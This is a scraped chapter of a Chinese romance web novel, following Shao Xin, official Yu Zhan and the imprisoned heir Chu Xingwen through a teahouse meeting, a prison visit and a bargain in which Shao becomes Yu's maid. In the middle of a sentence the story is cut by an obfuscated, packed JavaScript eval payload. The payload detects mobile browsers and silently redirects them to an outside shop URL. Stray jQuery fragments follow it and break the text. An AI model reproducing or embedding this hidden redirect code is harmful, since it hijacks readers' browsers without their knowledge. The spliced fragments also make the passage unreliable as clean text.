地方是郁湛找的,算起来邵欣前前后后在京城住了也有将近十年了,却对这地界陌生得很,茶楼酒肆一家都摸不着。
他们进到这间茶楼的时候,大堂的说书先生正说得起兴,邵欣不由得想起当初在南青,他曾跟自己说过的有关于京城说书先生更出色的话。那时自己还颇以为憾,以为此生都难以见识到了,没想到还会有今日。
雅间的门窗都紧闭着,却也未能完全挡住说书先生的声音。邵欣觉得这样反而更好,若只有自己和郁湛,她只会更紧张。
“这一年你过得还好吗?”
邵欣一愣,适才过来的一路上,她想过他会质问自己一年前为什么要假死消失,会问自己为什么会出现在京城,却从未想到他再见自己时,开口第一句话却是问自己过得好不好。
鼻子一酸,邵欣低下头去,端起面前的茶盏沾了一口。
“还行。郁大人升任户部侍郎的事,我也听说了,虽然有些迟了,但还是恭喜。”
她的语气委实客气。
“这件事也有你的功劳,当初若不是你舍命替我拿到证据,我也坐不上这个位置。”
说到这个,未免要提起从前,邵欣便低着头不接话。
郁湛看着她,“你都不问问我这一年过得好不好吗?”
“郁大人说笑了,如你这般得天之骄子,若是都过得不好,那像我们这样的人便真没活路了。”
她说,你这般的,我们这样的,泾渭分明。
“我们?指的是谁?你和褚世子吗?”他终于还是忍不住问了出来,语气锐利却带着些酸。
邵欣诧异,“你怎么会知道?”
郁湛不答反问,“你是如何跟他相识?”这一年里,自己找不到任何她的踪迹,难道都是褚星文的‘功劳’?
“郁大人,一年前在郁氏祠堂,我想我已经把话说得很清楚了。至于我跟褚星文的事,应该没必要特意告知给您。”
她叫自己‘郁大人’,却直接唤那人的名字。
一年前,她满心满眼都是自己。一年后,她待自己却冷淡如陌路。
“这一年,你去了哪里?”
外头说书人的江湖事正打得热闹,邵欣的语气却冷得冻人,“郁大人,我很不喜欢这样的……”她措辞了一番,“纠缠。”
“可是,是你先纠缠我的不是吗?”
“那郁大人想怎么样呢?你方才也说了,你能升任户部侍郎有我的一份功劳,那我就拿我的这份功劳换我们两清不行吗?”
郁湛握了握掌心,“我不想两清,我想娶你为妻,同你共度一生。”
他说得冷静而直白。整个房间一时静默下来,半晌之后邵欣终于轻叹一口气,“你想娶我为妻,可郁大人,你知晓我姓甚名谁?你真的认识我这个人吗?”
“那你告诉我,你究竟叫什么名字?”郁湛盯着邵欣的眼睛。
“乔蔓?阿九?邵欣?其实我自己也不太清楚。”邵欣摇头苦笑,“一年前为了得到你的青睐,我刻意扮成了另外一个模样。我查过你所有的经历,无数次揣度你的喜好,我的一举一动都是提前演练过的。至于真实的我……郁大人,请相信,你绝不会喜欢。”
“至于我跟褚星文之间的事,那就跟郁大人您无关了。”说着,邵欣站起身来,看着对面的郁湛,“我希望这是我们最后一次见面,郁大人。”
守在门口的姚盛目送邵欣离开,这才转身进了雅间,只见自家公子坐在那里出神。
“公子,不用我跟上去吗?”他最是清楚这一年来自家公子有多执着于找到乔姑娘,如今终于见着人,难道就这样放她走了?
郁湛的语气有些沉,“不必,她会主动来寻我的。”
……
大牢这种地方从来被视为晦气的所在,刑部大牢亦免不了如此,若是无事,连靠近都是不愿的。所以当郁湛出现在这里的时候,狱卒愣怔良久。
“还愣着干嘛,还不快给郁大人开门。”
说话的正是负责褚星文案子的刑部赵大人。
狱卒应了一声,忙不迭地打开了牢房大门。
褚星文毕竟是侯府世子,尽管牵扯进了工部贪渎这样的大案,却也住着最整洁、最安静的牢房。
郁湛进去的时候,褚星文正盘坐在石床上打坐冥想。但见他衣衫整洁,面如白玉,瞧着依旧是翩翩公子模样,没有丝毫关押狱中的狼狈。
郁湛发觉他同自己有一点相像,这种相像不是指长相,而是整体给人的感觉。
褚星文听到动静,终于睁开眼睛看向郁湛。他的脸上没有一丝意外,好像早已料到郁湛会来。
“赵大人,我想单独同褚世子说几句话,可以吗?”
“郁大人请便。”如果这位只是户部侍郎,那自己也没太大必要捧着他。可谁让他还是郁氏的公子呢?世家的底蕴,只要稍稍伸手托一把,就是许多人一辈子都碰不到的高度。
赵大人连同狱卒一同避开了去,牢中两个男人对视着,像是某种无声的较量。
最终,还是郁湛先开了口,“你跟她是什么时候认识的?”
两个人都没明说这个‘她’是谁,但二人却都心知肚明。
“天和二年。”褚星文答。
郁湛心头骤紧,九年前……
原来他们并不是这一年里才认识的,他们已经相识了近十年。自己才是后来的那一个,他本是携着一身底气而来,如今却因褚星文短短四个字便尽数消散了。
不是他像自己,而是自己像他吗?
褚星文自石床而下,在郁湛面前站定,“我知道她为了报复她的家人故意接近你是她的不对,但她这些年真的过得很不容易,这一切都要拜她的家人所赐,她心里有怨恨想要报复实在是人之常情。还请郁大人宽宏大量,不要同她计较。”说完,他甚至朝着郁湛躬身行了一礼。
郁湛垂在身侧的手不自觉地收紧,储星文知道自己同她之间的事,而自己对她和储星文之间的关系却一无所知……
“这是我跟她之间的事,储世子又是以什么样的身份来同我说这番话?”
“朋友。”
郁湛闻言勾起嘴角,“原来是朋友……”
郁湛语气莫名,储星文却仿佛听懂了他话中的未尽之意,脸上不复方才的自若。
“她向来不喜别人勉强,你若果真为她好,就不要再去纠缠她。”
他跟她用了一样的字眼,纠缠。
“你喜欢吃鱼吗?”郁湛突然问。
“什么?”褚星文莫名,一头雾水地瞧着郁湛。
“喜欢吃吗?”郁湛再次询问。
褚星文虽不解,却还是点了点头,“喜欢。”
两个字落下,郁湛的脸色肉眼可见地沉了下来。
褚星文却不明白自己喜欢吃鱼这件事为何让他如此不悦。
而郁湛不再同他多说什么,当即转身离开了牢房。
自这日之后,又过去了大半月,原本传出的消息储世子即将清白释放的事情又逐渐没了音讯,听说是户部侍郎郁大人提出账册仍有几处疑点,要重查。刑部那边只好继续将人押着。
这一日,郁湛自户部下职归
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17935595|211566||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
家,马车还未停下,就听到姚盛的声音自前头传来,“公子,那好像是乔姑娘……”
难怪那日公子说她自己会找上门来,她还真的来了。
郁湛只掀开车帘看了一眼,并未开口说什么,马车继续往前,最终在郁宅门前停下。
只见郁湛自车厢内探出身子,目光在阶下立着的女子身上一扫而过,未置一言,只越过她继续往门内走。
“郁大人……”邵欣见状,只好开口唤了一声。
郁湛终于停下脚步,“进来再说。”
“我此来是为着褚……”
她口中的名字还未说完,就被郁湛打断,“你确定要站在门口说?不怕跟我传出什么流言蜚语了?”
邵欣只好垂下脑袋,跟在郁湛身后跨进了他的门槛。
这宅子不小,若非郁湛乃是郁家子,以他目前的俸禄很难在京城住上这样一座宅子。邵欣跟在郁湛身后,越走越觉得不对,这好像是去往后宅的方向。
但她也清楚郁湛此刻心情不好,也不敢随意开口,就这么沉默地跟在郁湛身后,一直跟到他的卧房外,却再不敢进寸步。
郁湛察觉后,转身看她,“之前也不知擅自进过我的房间多少回,如今倒守什么规矩?要谈储星文的事就进来说。”
他说的是自己养伤的那段时间,在那个临时赁下的宅子里,自己的确无数次擅自进入他的房间。
二人一前一后走了进去。邵欣垂着眉眼,不敢乱看,只开口道:“褚星文不是只图眼前利益之人,他在仕途上有他的抱负,或许在账本上他的确不够谨慎,但贪渎这种事他是万万不会做的。郁大人不必因一时意气,而毁了自己的清誉。”
“你对他倒是十分了解,也足够信任。”话一出口,郁湛便有些后悔,这字字句句里分明带着酸,凭什么她如此坦荡,好像只有自己一个还在耿耿于怀,无端端落了下乘。
可他没法不在意。他从赵大人那里打听到,为了帮褚世子寻证据脱罪,她千里迢迢奔赴赣庆、宿淮两地,挨个寻找当时的役工、匠人,耗费了不知多少心力。
赵大人言说,纵是夫妻只怕也做不到如此。他还说,观那姑娘衣着穿戴皆普通,侯府未必愿意让她进门。
他当时将这话听在耳中,心里难受极了,自己想娶她为妻她都不愿的……
“我与他相识多年,自是了解。”邵欣坦然道。
郁湛胸口一闷,她是懂怎么扎自己的心的。
“当初你跟我做了一桩交易,如今我也跟你做一桩。只要你答应在我身边做一个月的婢女,褚世子很快便会从刑部大牢里出来。”
“郁……”
邵欣刚开口一个字,就被郁湛打断,“你不用多想。你当初为了报复乔家,骗了我两个多月,我只是让你为我端茶倒水一个月来还债,这应该不过分吧?我好歹也是郁家的公子,就这样被你骗了一个月,我想要出口气也在情理之中吧?”
邵欣思索片刻,“那一个月后,我们再无瓜葛,就算路上见到了,也只当作陌生人行吗?”
郁湛一口答应,“好。”
当日,邵欣便住进了主院的下人房。
事实上,郁湛是个极好伺候的主子。他吃饭时并不需要人伺候,处理公务时,也只需注意灯火别太暗就行。
等到郁湛熄了灯歇息,邵欣也就可以回下人房睡觉了。
郁湛贴身伺候的人不多,邵欣得以单独住一间。仰面躺在床上,邵欣难以入眠,她不知今日作的决定是对是错。但她不得不承认,应下的那一瞬间,自己内心也是有一点点欢喜的。